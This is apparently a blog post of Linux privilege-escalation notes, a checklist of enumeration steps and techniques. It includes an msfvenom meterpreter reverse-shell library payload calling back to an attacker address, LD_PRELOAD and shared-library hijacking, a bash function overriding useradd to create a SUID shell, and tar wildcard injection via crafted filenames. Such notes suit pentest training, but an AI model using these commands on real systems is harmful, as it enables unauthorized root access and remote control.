- Perform basic system enumeration
- Perform escalation scripts
- Check running software
- Check for exploits
- Check for config files with sensitive content
- Check for log output
- Check documentation for useful functions
- Check source code
- Try memory investigation
- Start the process again.
Additional ideas
- Run pspy to monitor the system.
- Or try strace analysis on a particular file.
- If dbus is available, check here and here
- Compile escape binary and let it call via a root process / or add in a root process the suid bit.
- Analyse all uncommon programs (see Fuzzing)
- If I want to execute a program but don’t have the executable bit, just use cp to copy a file with the proper file attributes and then use cat to overwrite the file content with the program. The oersmissions remain the same.
- You can execute a program as another user (via SUID or SGUID?) which is dynamically linked? Get a shell for this user:
- Create a library paload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$attackerip LPORT=80 -f elf-so > /tmp/a.so - Load this payload in the program’s context:
LD_PRELOAD=/tmp/a.so ls
- Create a library paload:
Environment exploitation
- Analyse binaries with higher privilges if they try to include a shared library in a directory we control.
- Make a list of possible files.
- Check all of them for libraries they load:
strace /usr/local/bin/suid-so 2>&1 | grep -r -E "open|access|no such file" - Check the output if you can write to a location.
- If yes, use escape_lib.c and compile it:
gcc -shared -fPIC -o escape_lib.so escape_lib.c - Execute the original binary with higher privileges. It now droppes a shell.
- Remove the exploit so that the program works normally for others.
- Analyse (with strace, strings, …) if a binary with higher privileges calls another binary. Check where these binaries are. Check if you can add a binary with the same name via an extended PATH variable so that your binary is called instead.
- If the binary is called with the full path, then use a bash function which is called earlier:
function /usr/sbin/useradd() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
- If the binary is called with the full path, then use a bash function which is called earlier:
Interpolation exploitation
Prerequisites:
- A (script) file is executed with higher privileges.
- There is a command into it with a
*. - You can write at a path the script uses.
Then, create a file in a directory which is names like parameters from the program. The program will interpret the filenames as arguments.
Example: Assume there is a call like this in a script:
tar czf /tmp/backup.tar.gz *
The script is in /home/peter and because we are this user, we can write into this directory. Now,
- create an executeable payload file and
- create empty files which are called after paramters, e.g.
touch /home/peter/--checkpoint=1
touch /home/peter/--checkpoint-action=exec=sh\exploit.sh
Ideas of dispear
- Some applications doesn’t work anymore, but old one may do. Try an old attacking machine or version of some previously tried software.
- If your user has multiple groups:
- use id for showing the current group
- use newgroup $othergroup to switch in this primary group
- repeat id
Leave a Reply
You must be logged in to post a comment.